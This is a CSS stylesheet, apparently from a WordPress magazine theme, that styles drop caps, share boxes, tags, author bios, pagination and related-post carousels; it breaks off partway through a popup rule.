.penci-dropcap-circle {
	-webkit-border-radius: 100%;
	-moz-border-radius: 100%;
	border-radius: 100%;
	float: left;
	display: block;
	background-color: var(--pcaccent-cl);
	color: #fff;
	text-align: center;
	text-transform: uppercase;
	min-width: 56px;
	font-size: 48px;
	line-height: 50px;
	margin: 6px 13px 0 0;
	padding: 3px 13px
}
.penci-dropcap-circle-outline {
	float: left;
	display: block;
	background-color: transparent !important;
	text-align: center;
	text-transform: uppercase;
	border: 2px solid var(--pcaccent-cl);
	color: var(--pcaccent-cl);
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	border-radius: 50%;
	min-width: 56px;
	font-size: 48px;
	line-height: 50px;
	margin: 6px 13px 0 0;
	padding: 3px 13px
}
.penci-dropcap-regular {
	float: left;
	display: block;
	text-align: center;
	text-transform: uppercase;
	background-color: transparent !important;
	color: var(--pcaccent-cl);
	font-size: 68px;
	line-height: 68px;
	margin: 0 13px 0 0;
	padding: 0
}
.penci-dropcap-bold {
	float: left;
	display: block;
	text-align: center;
	text-transform: uppercase;
	background-color: transparent !important;
	color: var(--pcaccent-cl);
	font-weight: 700;
	font-size: 68px;
	line-height: 68px;
	margin: 0 13px 0 0;
	padding: 0
}
.penci-ilrelated-posts {
	margin: 20px 0;
	overflow: hidden;
	padding: 17px 20px;
	border: 1px solid var(--pcborder-cl);
	width: 100%
}
.penci-ilrelated-posts.pcilrt-left {
	float: left;
	margin: 5px 20px 20px 0;
	max-width: 360px;
	width: 100%
}
.penci-ilrelated-posts.pcilrt-right {
	float: right;
	margin: 5px 0 20px 20px;
	max-width: 360px;
	width: 100%
}
.pcilrp-heading {
	margin-bottom: 20px;
	text-align: left
}
.pcilrp-heading span {
	font-size: 18px;
	line-height: 1.3;
	display: block;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	color: var(--pcheading-cl);
	letter-spacing: 0;
	padding-bottom: 10px;
	position: relative
}
.pcilrp-heading span:after {
	content: "";
	width: 50px;
	border-top: 1px solid var(--pcaccent-cl);
	display: block;
	position: absolute;
	bottom: 0;
	left: 0
}
.pcilrph-align-center {
	text-align: center
}
.pcilrph-align-center span:after {
	left: 50%;
	margin-left: -25px
}
.pcilrph-align-right {
	text-align: right
}
.pcilrph-align-right span:after {
	left: auto;
	right: 0
}
.penci-ilrelated-posts ul.pcilrp-content {
	margin-bottom: 0 !important
}
.penci-ilrelated-posts.pcilrt-grid ul.pcilrp-content li {
	line-height: unset
}
.penci-ilrelated-posts.pcilrt-list ul.pcilrp-content {
	padding-left: 18px
}
.penci-ilrelated-posts.pcilrt-list ul.pcilrp-content li {
	line-height: 1.6
}
.penci-ilrelated-posts.pcilrt-list ul.pcilrp-content li:last-child {
	margin-bottom: 0
}
.penci-ilrelated-posts ul.pcilrp-content li.pcilrp-item-grid {
	list-style-type: none
}
.pcilrt-grid .pcilrp-content {
	padding: 0 !important;
	margin-left: -10px;
	margin-right: -10px;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap
}
.pcilrt-grid .pcilrp-item-grid {
	-ms-flex: 0 0 100%;
	flex: 0 0 100%;
	padding: 0 10px;
	margin-bottom: 20px
}
.pcilrt-grid .pcilrp-item-hidethumb {
	margin-bottom: 8px
}
.pcilrt-grid.pcilrt-col-2 .pcilrp-item-grid {
	flex: 0 0 50%
}
.pcilrt-grid.pcilrt-col-3 .pcilrp-item-grid {
	flex: 0 0 33.3333%
}
.pcilrt-grid .pcilrp-content>.pcilrp-item-grid:last-child {
	margin-bottom: 0
}
@media only screen and (min-width:961px) {
	.pcilrt-col-3 .pcilrp-content>.pcilrp-item-grid:nth-last-of-type(2),
	.pcilrt-col-3 .pcilrp-content>.pcilrp-item-grid:nth-last-of-type(3) {
		margin-bottom: 0
	}
}
@media only screen and (min-width:768px) {
	.pcilrt-col-2 .pcilrp-content>.pcilrp-item-grid:nth-last-of-type(2) {
		margin-bottom: 0
	}
}
@media only screen and (max-width:960px) {
	.pcilrt-grid.pcilrt-col-3 .pcilrp-item-grid {
		flex: 0 0 100%
	}
}
@media only screen and (max-width:767px) {
	.pcilrt-grid.pcilrt-col-2 .pcilrp-item-grid {
		flex: 0 0 100%
	}
	.penci-ilrelated-posts.pcilrt-left,
	.penci-ilrelated-posts.pcilrt-right {
		max-width: 100%
	}
}
.pcilrt-grid .pcilrp-flex {
	display: flex;
	-ms-flex-wrap: wrap;
	align-items: center;
	width: 100%
}
.pcilrp-flex .pcilrp-thumb {
	flex: 0 0 90px;
	margin-right: 20px;
	transition: all .3s
}
.pcilrp-flex .pcilrp-body {
	flex: 0 0 calc(100% - 110px)
}
.pcilrp-item-hidethumb .pcilrp-flex .pcilrp-body {
	flex: 0 0 100%
}
.pcilrt-thumbright .pcilrp-flex .pcilrp-thumb {
	order: 2;
	margin: 0 0 0 20px
}
.pcilrp-flex .pcilrp-thumb:hover {
	opacity: .85
}
.pcilrp-item-grid .pcilrp-title {
	line-height: 1.35
}
.penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a {
	color: var(--pctext-cl);
	line-height: 1.4;
	text-decoration: none;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	font-size: 14px
}
.penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a:hover {
	color: var(--pcaccent-cl)
}
.pcilrp-meta {
	margin-top: 5px;
	font-size: 13px;
	color: var(--pcmeta-cl);
	line-height: 1.3
}
.pcilrp-meta span {
	margin-right: 10px;
	font-size: inherit;
	color: inherit
}
.pcilrp-meta span:last-child {
	margin-right: 0
}
.pcilrp-meta i {
	margin-right: 5px;
	opacity: .8
}
.gird-post-share {
	margin-top: 9px;
	position: relative;
	text-align: center
}
.gird-list-posts-share {
	background: #fff;
	display: inline-block;
	padding-right: 11px;
	position: relative;
	padding-left: 11px
}
.gird-post-share:before {
	position: absolute;
	width: 100%;
	top: 9px;
	height: 1px;
	content: "";
	left: 0;
	border-top: 1px solid #e9e9e9;
	border-bottom: 1px solid #e9e9e9
}
.gird-post-share a {
	margin: 0 4px;
	font-size: 14px;
	color: #939393
}
.gird-post-share a:hover {
	color: var(--pcaccent-cl)
}
.gird-post-share .gird-list-posts-share a:first-child {
	margin-left: 0
}
.share-box-grid.share-box-comments i {
	font-size: 15px
}
.tags-share-box {
	display: table;
	width: 100%;
	margin: 0;
	position: relative;
	padding: 19px 160px 18px 0;
	clear: both;
	border-top: 1px solid #dedede;
	font-size: 14px
}
.tags-share-box.center-box {
	text-align: center;
	padding: 15px 0
}
.tags-share-box.hide-tags.page-share {
	text-align: center;
	padding: 16px 0;
	position: relative;
	border-bottom: 1px solid #dedede;
	margin-bottom: -1px
}
.tags-share-box.hide-tags.page-share.pcnew-share {
	border-bottom: none;
	margin-bottom: 0;
	padding: 0
}
.tags-share-box.hide-tags.page-share.tags-share-box-2_3 {
	padding: 6px 20px
}
.tags-share-box.hide-tags.page-share .list-posts-share {
	vertical-align: middle;
	line-height: 16px
}
.tags-share-box.share-box-border-bot {
	border-bottom: 1px solid var(--pcborder-cl)
}
.post-tags {
	display: block;
	position: relative;
	z-index: 10;
	color: #888;
	margin-bottom: 0;
	line-height: 1.4;
	margin-top: 31px
}
.post-tags>span {
	display: inline-block;
	text-transform: uppercase;
	margin: 0 12px 0 0;
	font-style: italic;
	color: #888
}
.post-tags>span i {
	vertical-align: bottom
}
.post-tags.penci-post-sources > span,
.pc-search-suggest-term > a,
.container-single .post-entry .post-tags a {
	text-transform: uppercase;
	color: #888;
	padding: 5px 12px;
	margin-right: 8px;
	margin-bottom: 8px;
	display: inline-block;
	font-size: 11px !important;
	background: 0 0;
	border: 1px solid #dedede;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	outline: 0;
	font-weight: 400;
	line-height: 1.2
}
.post-tags.penci-post-sources > span {
	background: #000;
	color: #fff;
	font-style: normal;
  	font-weight: bold;
}
.post-tags.penci-post-sources > span::before {
	content: '\f0c1';
	font-family: 'FontAwesome';
	display: inline-block;
	margin-right: 4px;
	transform: rotate(85deg);
}
.pc-search-suggest-term > a:hover,
.container-single .post-entry .post-tags a:hover {
	background: var(--pcaccent-cl);
	color: #fff;
	border-color: var(--pcaccent-cl);
	text-decoration: none
}
.post-share {
	display: inline-block;
	position: absolute;
	z-index: 10;
	right: 0;
	top: 20px
}
.nc_socialPanel .nc_tweetContainer a.nc_tweet,
.swp_social_panel .nc_tweetContainer a.nc_tweet {
	color: #fff
}
.tags-share-box.center-box .post-share,
.tags-share-box.hide-tags.page-share .post-share {
	position: static
}
.tags-share-box.hide-tags.page-share .share-title {
	font-size: 12px;
	text-transform: uppercase;
	color: #313131;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	margin-right: 5px
}
.post-share .count-number-like {
	font-weight: 700;
	font-style: italic;
	font-size: 13px;
	color: var(--pcaccent-cl);
	vertical-align: top
}
.post-share .list-posts-share {
	display: inline-block;
	vertical-align: top
}
.post-share a {
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	font-size: 14px;
	margin: 0 0 0 10px;
	color: #313131;
	display: inline-block;
	vertical-align: top;
	position: relative
}
.post-share.hide-like-count .list-posts-share a:first-child {
	margin-left: 0
}
.post-share a.liked,
.post-share a:hover {
	color: var(--pcaccent-cl)
}
.post-share a.penci-post-like {
	margin-left: 5px
}
.tags-share-box .single-comment-o {
	color: #888
}
.tags-share-box .single-comment-o i {
	margin-right: 5px
}
.post-share a.penci-post-like:after,
.tags-share-box .single-comment-o:after {
	content: "";
	display: inline-block;
	width: 1px;
	height: 12px;
	margin: 4px 6px 0 20px;
	vertical-align: top;
	border: none;
	background-color: #dedede
}
.no-social-enabled.tags-share-box .single-comment-o:after {
	display: none
}
.tags-share-box .single-comment-o:after {
	margin-right: 20px
}
.tags-share-box .single-comment-o.hide-comments-o:after {
	display: none;
	content: none
}
.post-share a .dt-share {
	position: absolute;
	display: inline-block;
	font-size: 9px;
	font-family: var(--pchead-font);
	font-weight: 400;
	background: #313131;
	color: #fff;
	height: 20px;
	white-space: nowrap;
	line-height: 20px;
	text-align: center;
	z-index: 20;
	bottom: -45px;
	width: 60px;
	left: 50%;
	margin-left: -30px;
	opacity: 0;
	visibility: hidden;
	transition: all .2s ease-in-out;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out
}
.post-share a:hover .dt-share {
	opacity: 1;
	bottom: -30px;
	visibility: visible
}
.post-share a .dt-share:before {
	position: absolute;
	width: 0;
	height: 0;
	border-left: 5px solid transparent;
	border-right: 5px solid transparent;
	border-bottom: 7px solid #313131;
	content: "";
	top: -7px;
	left: 50%;
	margin-left: -4px
}
article.page.type-page {
	margin-bottom: 60px
}
.tags-share-box.tags-share-box-top {
	border-bottom: 1px solid #dedede;
	margin-bottom: 33px
}
.tags-share-box.tags-share-box-2_3 {
	border: 1px solid #dedede;
	padding: 6px 15px
}
.tags-share-box.tags-share-box-2_3 .post-share {
	display: inline;
	position: relative;
	top: 0
}
.tags-share-box.tags-share-box-2_3 .post-share .list-posts-share {
	display: inline;
	vertical-align: middle
}
.tags-share-box.tags-share-box-2_3 .post-share:after,
.tags-share-box.tags-share-box-2_3 .post-share:before {
	content: "";
	width: 100%;
	clear: both
}
.tags-share-box.tags-share-box-2_3+.post-author {
	border-top: 0
}
.tags-share-box.tags-share-box-2_3 .penci-social-share-text {
	text-transform: uppercase;
	font-weight: 700;
	margin-right: 15px;
	font-size: 14px;
	top: 2px;
	color: #111;
	position: relative
}
.tags-share-box.tags-share-box-2_3 a.penci-post-like:after {
	content: none
}
.tags-share-box.tags-share-box-2_3 .post-share .count-number-like,
.tags-share-box.tags-share-box-2_3 .post-share a {
	color: #fff
}
.tags-share-box.tags-share-box-2_3 .penci-svg-line {
	vertical-align: middle;
	transform: translateY(-1px);
	-webkit-transform: translateY(-1px)
}
.tags-share-box.tags-share-box-2_3 .post-share-item {
	display: inline-block;
	margin: 5px 9px 5px 0;
	font-weight: 400;
	line-height: 32px;
	text-align: left;
	color: #fff;
	text-transform: none;
	height: 32px;
	border: 0;
	background-color: #111;
	padding: 0 12px;
	transition: opacity .3s;
	border-radius: 2px;
	vertical-align: middle
}
.tags-share-box-s2 .post-share .count-number-like,
.tags-share-box-s2 .post-share a,
.tags-share-box-s2 .post-share-item {
	color: #fff !important
}
.tags-share-box.tags-share-box-2_3 .post-share-plike {
	vertical-align: bottom
}
.tags-share-box.page-share .penci-social-share-text {
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	font-size: 12px;
	text-transform: uppercase;
	vertical-align: middle
}
.tags-share-box.social-align-left {
	text-align: left !important
}
.tags-share-box.social-align-right {
	text-align: right !important
}
.tags-share-box.social-align-center {
	text-align: center !important
}
.post-author {
	margin: 0;
	overflow: hidden;
	padding: 38px 0 37px 0;
	border-top: 1px solid var(--pcborder-cl)
}
.abio-style-2,
.abio-style-3,
.abio-style-4 {
	padding: 20px;
	border: 1px solid var(--pcborder-cl);
	margin-bottom: 30px
}
body.author .post-author {
	padding: 20px 20px;
	border: 1px solid var(--pcborder-cl);
	margin-bottom: 40px
}
.abio-style-3,
.abio-style-4 {
	text-align: center
}
.abio-style-4 {
	margin-top: 80px;
	overflow: visible
}
.author-img {
	float: left;
	margin-right: 20px;
	overflow: hidden
}
.abio-style-3 .author-img,
.abio-style-4 .author-img {
	display: block;
	margin: 0 0 15px;
	float: none !important
}
.abio-style-4 .author-img {
	margin-top: -70px
}
.post-author .author-img img {
	margin: 0;
	border-radius: 100%;
	-webkit-border-radius: 100%;
	-moz-border-radius: 100%
}
.abio-style-3 .author-img img,
.abio-style-4 .author-img img {
	display: inline-block;
	vertical-align: top;
	border: 2px solid var(--pcborder-cl);
	box-shadow: 0 1px 2px 0 rgb(0 0 0 / 15%)
}
.abio-style-4 .author-img img {
	background-color: var(--pcbg-cl)
}
.bioimg-square .author-img img {
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0
}
.bioimg-sround .author-img img {
	border-radius: 15px;
	-webkit-border-radius: 15px;
	-moz-border-radius: 15px
}
.post-author .author-content {
	margin-left: 120px
}
.abio-style-3 .author-content,
.abio-style-4 .author-content {
	margin-left: 0
}
.author-content h5 {
	font-size: 14px;
	margin: 0 0 15px;
	color: #313131;
	display: block;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	text-transform: uppercase
}
.author-content h5 a {
	display: inline-block;
	margin: 0;
	color: #313131
}
.author-content h5 a:hover {
	color: var(--pcaccent-cl)
}
.author-content p {
	margin-bottom: 16px
}
.abio-style-4 .author-content p {
	text-align: center
}
.author-content .author-social {
	font-size: 14px;
	color: #313131;
	margin-right: 10px
}
.author-content .bio-social .author-social:last-child {
	margin-right: 0
}
.author-content .author-social:hover {
	color: var(--pcaccent-cl)
}
.author-content .author-social i {
	vertical-align: top
}
.post-pagination {
	overflow: hidden;
	margin: 0;
	padding: 15px 0 15px;
	border-top: 1px solid #dedede
}
.post-pagination .prev-post {
	float: left;
	width: 50%
}
.post-pagination .next-post {
	float: right;
	text-align: right;
	width: 50%
}
.post-pagination span {
	margin: 0;
	display: inline-block;
	color: #888
}
.post-pagination span i {
	font-size: 15px;
	margin-right: 8px
}
.post-pagination span i.fa-angle-double-right {
	margin: 0 0 0 8px
}
.post-pagination .arrow {
	font-size: 64px;
	color: #ddd;
	line-height: 64px
}
.post-pagination .prev-post .arrow {
	float: left;
	margin-right: 18px
}
.post-pagination .next-post .arrow {
	float: right;
	margin-left: 18px
}
.pagi-text {
	margin-top: 6px
}
.post-pagination h5 {
	font-size: 14px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	padding: 0 25px 0 0;
	position: relative;
	text-transform: uppercase;
	line-height: 1.4
}
.post-pagination h5.next-title {
	padding: 0 0 0 25px
}
.post-pagination a {
	color: #313131
}
.post-pagination a:hover {
	color: var(--pcaccent-cl)
}
.penci-post-nav-thumb {
	width: 56px;
	min-width: 56px;
	height: 56px;
	margin-right: 15px;
	background-size: cover;
	background-position: center center;
	background-repeat: no-repeat
}
.penci-post-nav-thumb.nav-thumb-next {
	float: right;
	margin: 0 0 0 15px
}
.pcsb-pnavi .penci-post-nav-thumb {
	flex-shrink: 0
}
.post-related {
	overflow: hidden;
	margin: 0;
	text-align: center;
	padding: 36px 0 36px;
	border-top: 1px solid #dedede
}
#respond h3.comment-reply-title,
.post-title-box {
	position: relative;
	padding: 0;
	margin-bottom: 30px;
	text-align: center
}
#respond h3.comment-reply-title span,
.post-box-title {
	font-size: 18px;
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	color: #313131;
	position: relative;
	z-index: 10;
	display: inline-block;
	padding: 0 10px
}
#respond h3.comment-reply-title span:after,
#respond h3.comment-reply-title span:before,
.post-box-title:after,
.post-box-title:before {
	content: "";
	position: absolute;
	width: 60px;
	height: 1px;
	background: var(--pcaccent-cl);
	display: block;
	top: 50%;
	margin-top: -1px;
	left: 100%
}
#respond h3.comment-reply-title span:before,
.post-box-title:before {
	left: auto;
	right: 100%
}
.penci-carousel {
	margin-left: -15px;
	margin-right: -15px;
	max-height: 220px
}
.penci-carousel.loaded {
	max-height: none
}
.penci-carousel button.slick-next,
.penci-carousel button.slick-prev {
	position: absolute;
	width: 36px;
	height: 36px;
	display: inline-block;
	top: 50%;
	margin-top: -18px;
	cursor: pointer;
	outline: 0;
	opacity: 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	text-align: center;
	line-height: 36px;
	background: #fff;
	z-index: 12;
	border-radius: 100%;
	-webkit-border-radius: 100%;
	-moz-border-radius: 100%;
	color: #313131;
	border: none;
	font-size: 20px
}
.penci-carousel.loaded:hover button.slick-next,
.penci-carousel.loaded:hover button.slick-prev {
	opacity: .8
}
.penci-carousel.loaded button.slick-next:hover,
.penci-carousel.loaded button.slick-prev:hover {
	opacity: 1
}
.penci-carousel>button.slick-prev {
	left: 25px
}
.penci-carousel>button.slick-next {
	right: 25px
}
.penci-carousel>button.slick-next.slick-disabled,
.penci-carousel>button.slick-prev.slick-disabled {
	cursor: auto
}
.item-related {
	padding: 0 10px;
	transition: opacity .2s;
	-webkit-transition: opacity .2s;
	-moz-transition: opacity .2s;
	text-align: center;
	position: relative
}
.penci-posts-related-grid {
	padding-bottom: 16px
}
.penci-related-grid-display,
.post-related .swiper {
	margin-left: -10px;
	margin-right: -10px;
	width: 100%;
	width: calc(100% + 20px)
}
.penci-related-grid-display .item-related {
	opacity: 1;
	margin: 0 0 20px;
	padding: 0 10px;
	width: 33.333333%;
	float: left
}
.penci-owl-carousel.penci-owl-loaded .item-related {
	opacity: 1
}
.penci-related-carousel .item-related-thumb {
	position: relative
}
.post-related-wrapper {
	position: relative
}
.penci-related-thumb-carousel {
	position: absolute;
	bottom: 30px;
	left: 0;
	right: 0;
	z-index: 9;
	padding: 0 30px
}
.penci-related-thumb-carousel.pcrl-style-8 {
	background: rgba(0, 0, 0, .5);
	bottom: 0
}
.penci-related-thumb-carousel .item-related-thumb {
	padding-left: 5px;
	padding-right: 5px;
	cursor: pointer;
	opacity: .8;
	transition: .3s all ease-in-out
}
.penci-related-thumb-carousel.pcrl-style-8 .item-related-thumb {
	padding-left: 10px;
	padding-right: 10px
}
.penci-related-thumb-carousel.pcrl-style-8 .item-related-thumb {
	padding-top: 30px;
	padding-bottom: 30px;
	border-bottom: 5px solid transparent;
	text-align: left
}
.penci-related-thumb-carousel.pcrl-style-8 h3 {
	color: #fff;
	font-size: 14px;
	overflow: hidden;
	display: -webkit-box;
	-webkit-line-clamp: 2;
	line-clamp: 2;
	-webkit-box-orient: vertical
}
.penci-related-thumb-carousel.pcrl-style-8 .swiper-slide-thumb-active .item-related-thumb {
	border-bottom-color: var(--pcaccent-cl)
}
.penci-related-thumb-carousel.pcrl-style-8 .swiper-slide-thumb-active h3 {
	color: var(--pcaccent-cl)
}
.penci-related-thumb-carousel.pcrl-style-8 span {
	color: rgba(255, 255, 255, .7);
	font-size: 12px;
	display: block;
	margin-bottom: 10px
}
.penci-related-thumb-carousel.pcrl-style-8 .swiper-slide-thumb-active span {
	color: #fff
}
.penci-related-thumb-carousel .item-related-thumb span.related-thumb {
	border: 3px solid rgba(255, 255, 255, .7)
}
.penci-related-thumb-carousel .item-related-thumb:hover,
.penci-related-thumb-carousel .swiper-slide-thumb-active .item-related-thumb {
	opacity: 1
}
.penci-related-thumb-carousel .swiper-slide-thumb-active .item-related-thumb span.related-thumb {
	border-color: var(--pcaccent-cl)
}
.penci-owl-carousel-slider .penci-owl-dots {
	position: static;
	height: 10px;
	clear: both;
	margin-top: 16px;
	text-align: center;
	margin-left: auto;
	margin-right: auto;
	transform: none !important
}
.penci-owl-carousel-slider .penci-owl-dots.disabled,
.penci-owl-carousel-slider .penci-owl-nav.disabled {
	display: none
}
.penci-related-carousel .penci-owl-dot span {
	width: 10px;
	height: 10px;
	display: inline-block;
	border-radius: 6px;
	-webkit-border-radius: 6px;
	-moz-border-radius: 6px;
	font-size: 0;
	background: #fff;
	margin: 0 2px;
	box-shadow: none;
	-webkit-box-shadow: none;
	-moz-box-shadow: none;
	outline: 0;
	vertical-align: top;
	cursor: pointer;
	transition: all .2s ease-in-out;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out;
	border: 2px solid var(--pcborder-cl)
}
.penci-owl-carousel-slider .penci-owl-dot.active span,
.penci-related-carousel .penci-owl-dot.active span {
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl)
}
.item-related img {
	width: 100%;
	height: auto
}
.item-related .item-related-inner>a {
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s;
	display: inline-block;
	margin-bottom: 17px;
	width: 100%;
	position: relative
}
.item-related .item-related-inner>a:hover {
	opacity: .85
}
#navigation .penci-megamenu .penci-mega-post a i,
.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-thumb .mag-post-thumb i,
.item-related .item-related-inner>a i,
.navigation .penci-megamenu .penci-mega-post a i,
.penci-grid.penci-fea-cat-style-13 li .item .thumbnail .icon-post-format {
	position: absolute;
	width: 36px;
	height: 36px;
	line-height: 32px;
	left: 50%;
	top: 50%;
	margin: -15px 0 0 -15px;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	font-size: 14px;
	transition: all .25s;
	-webkit-transition: all .25s;
	-moz-transition: all .25s;
	border: 2px solid rgba(255, 255, 255, .9);
	background: rgba(0, 0, 0, .4);
	color: rgba(255, 255, 255, .9);
	text-align: center
}
#navigation .penci-megamenu .penci-mega-post a i.fa-music:before,
.item-related>a i.fa-music:before,
.navigation .penci-megamenu .penci-mega-post a i.fa-music:before {
	margin-right: 2px
}
#navigation .penci-megamenu .penci-mega-post a i.fa-play:before,
.item-related>a i.fa-play:before,
.navigation .penci-megamenu .penci-mega-post a i.fa-play:before {
	margin-left: 2px
}
#navigation .penci-megamenu .penci-mega-post a:hover i,
.item-related>a:hover i,
.navigation .penci-megamenu .penci-mega-post a:hover i {
	opacity: 0;
	transform: scale(.5);
	-webkit-transform: scale(.5);
	-moz-transform: scale(.5)
}
.item-related h3 a {
	font-size: 14px;
	text-transform: uppercase;
	color: #313131;
	line-height: 1.4
}
.item-related h3 a:hover {
	color: var(--pcaccent-cl)
}
.item-related span.date {
	color: #888;
	display: inline-block;
	margin-top: 8px;
	font-size: 13px
}
ul.slick-dots {
	opacity: 0;
	transition: opacity .2s;
	-webkit-transition: opacity .2s;
	-moz-transition: opacity .2s;
	list-style: none;
	text-align: center;
	display: block;
	clear: both;
	margin-top: 13px
}
.slick-slider.loaded ul.slick-dots {
	opacity: 1
}
ul.slick-dots li {
	display: inline-block;
	line-height: 1
}
ul.slick-dots li button {
	width: 12px;
	height: 12px;
	display: inline-block;
	border-radius: 6px;
	-webkit-border-radius: 6px;
	-moz-border-radius: 6px;
	font-size: 0;
	background: #fff;
	margin: 0 5px;
	box-shadow: none;
	-webkit-box-shadow: none;
	-moz-box-shadow: none;
	outline: 0;
	vertical-align: top;
	cursor: pointer;
	transition: all .2s ease-in-out;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out;
	border: 2px solid #dedede
}
ul.slick-dots li button:hover,
ul.slick-dots li.slick-active button {
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl)
}
.pcrlt-style-2 .item-related-inner {
	position: relative;
	text-align: left
}
.pcrlt-style-2 .item-related .item-related-inner>a {
	margin-bottom: 0
}
.pcrlt-style-2 .item-related .related-content {
	position: absolute;
	left: 0;
	right: 0;
	bottom: 0;
	padding: 15px;
	background: #000;
	background: linear-gradient(0deg, rgba(0, 0, 0, 1) 0, rgba(255, 255, 255, 0) 100%)
}
.pcrlt-style-2 .item-related .related-content h3 a,
.pcrlt-style-2 .item-related .related-content span {
	color: #fff
}
.pcrlt-style-2 a.penci-cat-name {
	position: absolute;
	top: 20px;
	left: 20px;
	z-index: 9;
	background-color: var(--pcaccent-cl);
	display: inline-block;
	width: auto;
	color: #fff;
	font-size: 12px;
	padding: 0 5px;
	line-height: 20px
}
.pcrlt-style-3 .related-content {
	background-color: #000;
	padding: 20px 10px;
	transition: all .1s ease-in-out;
	border: 1px solid transparent;
	border-bottom: none
}
.pcrlt-style-3 .item-related .item-related-inner>a {
	margin-bottom: 0
}
.pcrlt-style-3 .item-related .related-content h3 a,
.pcrlt-style-3 .item-related .related-content span {
	color: #fff
}
.pcrlt-style-3 .item-related-inner {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column
}
.pcrlt-style-3 .item-related:nth-child(2n) .related-content {
	order: 1;
	background-color: var(--pcbg-cl);
	border: 1px solid var(--pcborder-cl);
	border-bottom: none
}
.pcrlt-style-3 .item-related:nth-child(2n) .related-content h3 a {
	color: var(--pcheading-cl)
}
.pcrlt-style-3 .item-related:nth-child(2n) .related-content span {
	color: var(--pcmeta-cl)
}
.pcrlt-style-3 .item-related:nth-child(2n) .related-thumb {
	order: 2
}
.pcrlt-style-4 .item-related-inner {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	text-align: left
}
.pcrlt-style-4 .item-related .item-related-inner>a {
	max-width: 160px;
	margin-bottom: 0
}
.pcrlt-style-4 .related-content {
	width: calc(100% - 160px);
	padding-left: 15px;
	display: flex;
	flex-wrap: wrap;
	align-content: center
}
.pcrlt-style-4 .item-related {
	width: 50%
}
.pcrlt-style-4 .penci-cat-name {
	font-size: 12px;
	display: inline-block;
	margin-bottom: 10px;
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font)
}
.pcrlt-style-5 .item-related .item-related-inner>a {
	margin-bottom: 0
}
.pcrlt-style-5 .related-content {
	position: relative;
	padding: 15px;
	width: 95%;
	margin: -10px 2.5% 0;
}
.pcrlt-style-5 .penci-owl-carousel .related-content {
	margin-bottom: 6px
}
.pcrlt-style-5 .penci-cat-name {
	position: absolute;
	top: -50px;
	left: 20px;
	z-index: 9;
	background-color: var(--pcaccent-cl);
	display: inline-block;
	width: auto;
	color: #fff;
	font-size: 12px;
	padding: 0 5px;
	line-height: 20px
}
.pcrlt-style-5 .penci-related-grid-display {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
}
.pcrlt-style-5 .penci-related-grid-display .item-related {
	display: flex;
	flex-shrink: 1;
	height: auto;
}
.pcrlt-style-5 .penci-related-grid-display .item-related .item-related-inner {
	position: relative;
}
.pcrlt-style-5 .penci-related-grid-display .related-content:before {
	content: '';
	position: absolute;
	top: -10px;
	height: 20px;
	left: 3px;
	right: 3px;
	background: var(--pcbg-cl);
	z-index: 1;
}
.pcrlt-style-5 .swiper .related-content {
	box-shadow: 0 3px 5px rgba(0, 0, 0, .2);
	background: var(--pcbg-cl);
}
.pcrlt-style-5 .penci-related-grid-display .item-related .item-related-inner:before {
	content: '';
	position: absolute;
	top: 0;
	left: 10px;
	right: 10px;
	bottom: 0;
	background: var(--pcbg-cl);
  	box-shadow: 0 3px 5px rgba(0, 0, 0, .2);
}
.pcrlt-style-5 .item-related .item-related-inner,
.pcrlt-style-6 .item-related .item-related-inner {
	width: 100%;
}
.pcrlt-style-6 .item-related .item-related-inner > a {
	margin-bottom: 0;
}
.pcrlt-style-6 .item-related-inner .related-content {
	padding: 20px;
}
.pcrlt-style-6 .penci-related-grid-display {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
}
.pcrlt-style-6 .penci-related-grid-display .item-related {
	display: flex;
	flex-shrink: 1;
	height: auto;
}
.pcrlt-style-6 .item-related .item-related-inner {
	height: 100%;
	border: 1px solid var(--pcborder-cl);
}
.pcrlt-style-6 .swiper .item-related {
	align-self: stretch;
}
@media only screen and (min-width:1170px) {
	.pcrlt-style-1 .penci-related-grid-display .item-related:nth-child(3n+1),
	.pcrlt-style-3 .penci-related-grid-display .item-related:nth-child(3n+1),
	.pcrlt-style-4 .penci-related-grid-display .item-related:nth-child(2n+1),
	.pcrlt-style-5 .penci-related-grid-display .item-related:nth-child(3n+1),
	.pcrlt-style-6 .penci-related-grid-display .item-related:nth-child(3n+1) {
		clear: both
	}
}
.penci-rlt-popup {
	position: fixed;
	bottom: 0;
	left: 0;
	z-index: 5000;
	background: #fff;
	box-shadow: 2px 10px 7px rgba(0, 0, 0, .2);
	width: 340px;
	max-height: 75%;
	overflow: hidden;
	padding: 0;
	-webkit-transform: translate(0, 100%);
	-moz-transform: translate(0, 100%);
	-ms-transform: translate(0, 100%);
	-o-transform: translate(0, 100%);
	transform: translate(0, 100%);
	-webkit-transition: all .6s cubic-bezier(.19, 1, .22, 1);
	-moz-transition: all .6s cubic-bezier(.19, 1, .22, 1);
